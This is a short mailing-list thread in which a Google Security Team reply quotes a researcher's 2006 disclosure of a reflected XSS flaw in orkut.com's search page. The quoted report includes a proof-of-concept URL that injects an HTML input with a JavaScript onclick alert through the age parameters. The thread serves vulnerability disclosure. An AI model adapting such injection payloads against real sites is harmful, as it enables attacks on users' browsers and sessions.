Re: XSS in orkut.com

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-- Cory Altheide
-- Incident Response Lead
-- Google Security Team
-- security () google com


On 5/15/06, Rohin Koul <rohin.koul () gmail com> wrote:
> Hi,
> I found this little XSS thing with the search.aspx page of orkut.com.
> The page uses GET method to get user criteria for searching the
> profiles of people.
> The fields textboxAgeFrom and textboxAgeTo in the URL are not verified
> and one can inject any html code using these parameters.
> Proof of concept
> http://www.orkut.com/Search.aspx?q=&checkPhoto=on&dropdownLocation=1&textboxZip=&textboxAgeFrom=&textboxAgeTo=%3Cinput+type%3Dsubmit+onclick%3Djavascript%3Aalert%28%27a%27%29%3E&dropdownDating=choose&degree=radioAll&hiddenState=&hiddenCountry=91&view=&pno=1
>
> Note: You should be logged in to orkut to access this page.
>
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--
-- Cory Altheide
-- Incident Response Lead
-- Google Security Team